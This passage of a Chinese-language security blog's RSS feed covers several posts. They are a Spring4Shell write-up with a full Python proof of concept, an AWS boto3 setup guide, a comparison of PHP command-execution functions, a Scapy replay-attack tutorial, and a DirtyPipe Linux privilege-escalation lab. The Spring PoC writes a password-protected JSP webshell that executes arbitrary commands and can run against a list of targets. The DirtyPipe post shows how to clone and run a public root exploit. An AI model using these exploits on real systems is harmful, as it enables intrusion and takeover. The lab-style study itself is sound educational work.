AACJAOwEAAOJoKIL/H8G1RFvfpwyUAAAAAElFTkSuQmCC"&gt;&lt;/p&gt;
&lt;p&gt;Github 連結： &lt;a href="https://github.com/dinosn/spring-core-rce/blob/main/test.py"&gt;https://github.com/dinosn/spring-core-rce/blob/main/test.py&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;為了避免任何意外， PoC 備份在以下，著作權仍屬於原作者 &lt;a href="https://github.com/dinosn"&gt;dinosn&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="poc-備份"&gt;PoC 備份&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;#coding:utf-8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; argparse
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;from&lt;/span&gt; urllib.parse &lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; urljoin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;def&lt;/span&gt; &lt;span style="color:#50fa7b"&gt;Exploit&lt;/span&gt;(url):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; headers &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; {&lt;span style="color:#f1fa8c"&gt;&amp;#34;suffix&amp;#34;&lt;/span&gt;:&lt;span style="color:#f1fa8c"&gt;&amp;#34;%&amp;gt;//&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;c1&amp;#34;&lt;/span&gt;:&lt;span style="color:#f1fa8c"&gt;&amp;#34;Runtime&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;c2&amp;#34;&lt;/span&gt;:&lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;lt;%&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;DNT&amp;#34;&lt;/span&gt;:&lt;span style="color:#f1fa8c"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;Content-Type&amp;#34;&lt;/span&gt;:&lt;span style="color:#f1fa8c"&gt;&amp;#34;application/x-www-form-urlencoded&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; data &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;class.module.classLoader.resources.context.parent.pipeline.first.pattern=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%25%&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;7Bc2%7Di&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%20i&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;f(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%20i&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%20%&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;3D&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%20%&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;25%7Bc1%7Di.getRuntime().exec(request.getParameter(&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%22c&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;md%22)).getInputStream()%3B&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%20i&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;nt&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%20a%20%&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;3D%20-1%3B%20byte%5B%5D%20b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%20%&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%20o&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;ut.println(new%20String(b))%3B&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%20%&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;7D&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%20%&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;7D&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%20%&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;25%7Bsuffix%7Di&amp;amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&amp;amp;class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&amp;amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&amp;amp;class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; go &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; requests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;post(url,headers&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;headers,data&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;data,timeout&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;15&lt;/span&gt;,allow_redirects&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;False&lt;/span&gt;, verify&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shellurl &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; urljoin(url, &lt;span style="color:#f1fa8c"&gt;&amp;#39;tomcatwar.jsp&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shellgo &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; requests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;get(shellurl,timeout&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;15&lt;/span&gt;,allow_redirects&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;False&lt;/span&gt;, verify&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; shellgo&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;status_code &lt;span style="color:#ff79c6"&gt;==&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;200&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;f&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;漏洞存在，shell地址为:&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;{&lt;/span&gt;shellurl&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;?pwd=j&amp;amp;cmd=whoami&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;except&lt;/span&gt; Exception &lt;span style="color:#ff79c6"&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(e)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;def&lt;/span&gt; &lt;span style="color:#50fa7b"&gt;main&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parser &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; argparse&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;ArgumentParser(description&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;Srping-Core Rce.&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parser&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;add_argument(&lt;span style="color:#f1fa8c"&gt;&amp;#39;--file&amp;#39;&lt;/span&gt;,help&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;url file&amp;#39;&lt;/span&gt;,required&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parser&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;add_argument(&lt;span style="color:#f1fa8c"&gt;&amp;#39;--url&amp;#39;&lt;/span&gt;,help&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;target url&amp;#39;&lt;/span&gt;,required&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; args &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; parser&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;parse_args()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; args&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;url:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Exploit(args&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;url)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; args&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;file:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;with&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;open&lt;/span&gt; (args&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;file) &lt;span style="color:#ff79c6"&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; i &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; f&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;readlines():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; i &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; i&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;strip()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Exploit(i)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;__name__&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;==&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; main()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="建立環境"&gt;建立環境&lt;/h2&gt;
&lt;p&gt;使用這個 Docker 試著建立攻擊環境&lt;/p&gt;</description></item><item><title>Using boto3 to control the AWS EC2</title><link>http://blog.stevenyu.tw/2022/03/23/using-boto3-to-control-the-aws-ec2/</link><pubDate>Wed, 23 Mar 2022 14:39:17 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/03/23/using-boto3-to-control-the-aws-ec2/</guid><description>&lt;h2 id="install-awscli-and-boto3"&gt;Install awscli and boto3&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install awscli
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pip3 install boto3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="add-a-new-aws-user"&gt;Add a new AWS user&lt;/h2&gt;
&lt;p&gt;Go to &lt;a href="https://console.aws.amazon.com/iam/home"&gt;https://console.aws.amazon.com/iam/home&lt;/a&gt;&lt;br&gt;
Add User, pick a username, and set the AWS credential type to &lt;code&gt;Access key&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;In the &amp;ldquo;Set permissions&amp;rdquo; section, select the &amp;ldquo;Attach existing policies directly&amp;rdquo; and check the &lt;code&gt;AmazonEC2FullAccess&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And it will receive an &lt;code&gt;Access Key ID&lt;/code&gt; and a &lt;code&gt;Secret Access key&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="configure-the-aws-cli"&gt;Configure the aws-cli&lt;/h2&gt;
&lt;p&gt;Run the command&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;aws configure
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Input the &lt;code&gt;AWS Access Key ID&lt;/code&gt; and &lt;code&gt;AWS Secret Access key&lt;/code&gt;, other leave blanks.&lt;/p&gt;</description></item><item><title>深入理解多種 PHP 系統函數的差別 (system, shell_exec, exec, passthru, popen, proc_open)</title><link>http://blog.stevenyu.tw/2022/03/19/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E5%A4%9A%E7%A8%AE-php-%E7%B3%BB%E7%B5%B1%E5%87%BD%E6%95%B8%E7%9A%84%E5%B7%AE%E5%88%A5-system-shell_exec-exec-passthru-popen-proc_open/</link><pubDate>Sat, 19 Mar 2022 13:57:50 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/03/19/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E5%A4%9A%E7%A8%AE-php-%E7%B3%BB%E7%B5%B1%E5%87%BD%E6%95%B8%E7%9A%84%E5%B7%AE%E5%88%A5-system-shell_exec-exec-passthru-popen-proc_open/</guid><description>&lt;p&gt;在戳 Webshell 時，時常會被 Disable Function 給雷，而網路上的各種 Cheat Sheet 也常常會教我們， Bypass Disable Function 的其他函數。這邊先不考慮 LD_PRELOAD 或是其他奇技淫巧的繞過方法，我們從最常見的 6 種可執行系統指令的 Function 開始，探討它們在正常使用時的不同。明明功能都差不多，甚至一樣，為什麼 PHP 要定義出這麼多的函數呢？ ~~因為 PHP 是一個非常 Hacker Friendly 的語言，有各種方法可以讓駭客繞繞繞！~~~&lt;/p&gt;
&lt;p&gt;本文會比較 &lt;code&gt;system&lt;/code&gt;、&lt;code&gt;shell_exec&lt;/code&gt;、&lt;code&gt;exec&lt;/code&gt;、&lt;code&gt;passthru&lt;/code&gt;、&lt;code&gt;popen&lt;/code&gt; 以及 &lt;code&gt;proc_open&lt;/code&gt; 等 Function 的差異。&lt;/p&gt;
&lt;h2 id="system"&gt;system&lt;/h2&gt;
&lt;p&gt;讓我們從 &lt;code&gt;system&lt;/code&gt; 函數開始，觀察 &lt;a href="https://www.php.net/manual/en/function.system.php"&gt;Spec&lt;/a&gt; 可以看出，官方的敘述。&lt;/p&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;system — Execute an external program and display the output&lt;/p&gt;
&lt;p&gt;system 指令會執行外部程式，並且直接把結果輸出 (類似於 &lt;code&gt;echo&lt;/code&gt; 到螢幕上)，這邊也有一個特性就是，當程式每輸出一行，畫面結果就會刷新一次 (儘管程式可能還沒結束)。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;system&lt;/code&gt; 指令有兩個參數，分別是 &lt;code&gt;$command&lt;/code&gt; 以及 &lt;code&gt;&amp;amp;$result_code&lt;/code&gt;。&lt;code&gt;$command&lt;/code&gt; 應該不用特別敘述，而 &lt;code&gt;&amp;amp;$result_code&lt;/code&gt; 會使用 Pass by reference 方式把 Linux 的 Return Status Code 給回傳到該參數。&lt;/p&gt;</description></item><item><title>透過 Scapy 以及 Socket 實作 Application 層的 Replay Attack</title><link>http://blog.stevenyu.tw/2022/03/12/%E9%80%8F%E9%81%8E-scapy-%E4%BB%A5%E5%8F%8A-socket-%E5%AF%A6%E4%BD%9C-application-%E5%B1%A4%E7%9A%84-replay-attack/</link><pubDate>Sat, 12 Mar 2022 23:34:28 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/03/12/%E9%80%8F%E9%81%8E-scapy-%E4%BB%A5%E5%8F%8A-socket-%E5%AF%A6%E4%BD%9C-application-%E5%B1%A4%E7%9A%84-replay-attack/</guid><description>&lt;p&gt;工業控制或是 IoT 等裝置很容易出現 Replay Attack 的攻擊方式，也就是傳送一樣的封包，就可以對這些裝置下一些指令，這些裝置不一定會驗證發送者的身分，或是透過 nonce 等方式進行確認。 以下是一個很簡單的例子來快速地透過 Scapy 實作 Replay Attack 的方法。&lt;/p&gt;
&lt;p&gt;在這個例子中，我會使用 HTTP 協定來當作我們需要使用的目標，&lt;strong&gt;我們先假設 HTTP 是一個我們完全不認識的奇怪協定&lt;/strong&gt;，我們希望可以透過鯊魚來紀錄，修改其中的一兩個 Bytes ，並重新發送給 Server。&lt;/p&gt;
&lt;h2 id="server-準備"&gt;Server 準備&lt;/h2&gt;
&lt;p&gt;首先我在我的 Server 上準備了 4 個 txt 檔案，檔名分別叫做 1, 2, 3, 4&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;echo&lt;/span&gt; one &amp;gt; &lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;echo&lt;/span&gt; two &amp;gt; &lt;span style="color:#bd93f9"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;echo&lt;/span&gt; three &amp;gt; &lt;span style="color:#bd93f9"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;echo&lt;/span&gt; four &amp;gt; &lt;span style="color:#bd93f9"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;接下來在同一個資料夾中使用了 Python 開啟一個 HTTP Server 在 8000 Port&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m http.server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="client-準備"&gt;Client 準備&lt;/h2&gt;
&lt;p&gt;這邊的 Client 我們可以假裝說是工控場域的 HMI，準備發送指令給 PLC Server 這樣的場景。我使用 curl 指令來快速對伺服器建構了兩條的 HTTP Request (或是說 TCP 連線)。&lt;/p&gt;</description></item><item><title>利用 CVE-2022-0847 DirtyPipe 進行 Linux 提權</title><link>http://blog.stevenyu.tw/2022/03/08/%E5%88%A9%E7%94%A8-cve-2022-0847-dirtypipe-%E9%80%B2%E8%A1%8C-linux-%E6%8F%90%E6%AC%8A/</link><pubDate>Tue, 08 Mar 2022 12:58:55 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/03/08/%E5%88%A9%E7%94%A8-cve-2022-0847-dirtypipe-%E9%80%B2%E8%A1%8C-linux-%E6%8F%90%E6%AC%8A/</guid><description>&lt;p&gt;一起床就看到了好玩的東西，昨天 (3/7) Max Kellermann 揭露了一個 DirtyPipe 的漏洞&lt;a href="https://dirtypipe.cm4all.com/"&gt; https://dirtypipe.cm4all.com/&lt;/a&gt; 名字聽起來就跟 DirtyCow 很像，也是一個可以本地提權的漏洞，漏洞詳情可以看上方連結的研究。&lt;/p&gt;
&lt;p&gt;網路上也馬上就出現了一大堆 Exploit 的腳本，這邊我拿 &lt;a href="https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit"&gt;Arinerron&lt;/a&gt; 的來試玩了一下。&lt;/p&gt;
&lt;p&gt;首先到 Ubuntu 官網下載了最新版的 20.04 VM。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;steven@ubuntu:/tmp$ uname -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Linux ubuntu 5.13.0-30-generic #33~20.04.1-Ubuntu SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;安裝好後，新增一個沒有 root 權限的使用者做為測試。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo adduser testuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/03/2022-03-08-12-53-43.png"&gt;&lt;/p&gt;
&lt;p&gt;下載並編譯腳本&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;cd&lt;/span&gt; /tmp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;cd&lt;/span&gt; CVE-2022-0847-DirtyPipe-Exploit/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./compile.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;當然如果 Victim 端沒有 gcc 的話，也可以在 attacker 機器上編譯好再傳過去。&lt;/p&gt;
&lt;p&gt;接下來執行&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./exploit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;就順利的可以提權到 Root 了！&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAocAAADlCAIAAACu1crNAACacklEQVR42uxdB1jUyhaeSXaX3qUIIopivdjLRQRUbKiAwhULomJBFFHBgoWiIsi1oliwoaJiw4aKWMCCDRX1oqjYsNCkSi+7Sd5md0HATRYQ68v/7vc+JCRz5sxk/pwzZ86BA9iDCIDz/8MBgfP/BwEOMP4/s5pmKmRDwIABAwYMGDD4UYD92YMgIAjyP4xH8jHg/8wnZoaVGTBgwIABgx8MWGUr88kYAzhG4BDyTWYsSzuLYWUGDBgwYMDgRwKak6yMke5rgAs82Hx6hoytzIABAwYMGPx4wP7sgUBoKBMEAUk/tsCbjWcyrMyAAQMGDBj8WMB+bHOCbycDQAgc15hgXxlAxlZmwIABAwYMfjTgQPZATBB6jZGUjAPIZ2IyHjuraQbDygwYMGDAgMGPBBntBcgzUQQmOBBFQHJ3mc/K2dqMrcyAAQMGDBj8UPBZeQAucGHjpKGMV56MYmxlBgwYMGDA4EcDmrPNscr8IXx2xgSRXwDyWfkTw8oMGDBgwIDBjwTfVh5I+q4JPhPzCRnj8SmZNJoBw8oMGDBgwIDBDwZ5MgojMAAF6b3I3WW+rcz/J2RYWQwgzm5VJqWN8Z4olOX9bGEYMGDAgMEfByEr45CMuwaihNgChq7BypCAijwWG+Fmo43UbGM/8MeAVa7q9UlegVWwqenn9433yfK9tIGATk4sQ03wPpx3M/HLL2VVIFpCFJZ+/7YY/GpAYLtxaCcd8Pok7+Hret3YqNOmwWL8XECgP45l1Eb0LywRO36cb8c0Rpfp1MuxWHN5H3tFc7eY8sbsDNJmRuhdx7f2A7wvlDS+ptTttiT59ZEif644Ndd0QmTdZZcz9QgJG1Wycer09Ym82td0DE0MeA+uP88mGl3mXwekB5vcVBayMsQFdjMZ+ZX95bwywRmWoTWYi9/VSD0i3RjKaPQHNqzrOLt7vlL/EhlNnChml99Tyrsow+PR3vJdWPm7aQNpigybjiiWEzc3YR/KhL+CnWaghhrg9SFeXKOuhmLaglC1M+zQHWpqQg4ExZ+Ij3fwhNfQaD6ixyKe78MefhDc2AwZPgVR5BE312Mfm6JWE6EcUl054NUB3r239G2DJl2RDt2gpgaEZSA3GXt6hcgoqLyojBgOgfqtIH+BKEjGn1zEP+ZKuov2gXSCULXFX1l1YBdzVFcXcAAoySDeXMefvRakCajWCz1rVp9OgHiDnT5ElBFAyRQdNgAiNZvIv4FFxtS8sSY4bZGBwxAFBYASRPln8Ok58TQW/1y1JMrB/m6oNgsU3OadvwRonlOzY/WeNpwO6DBrKMvhL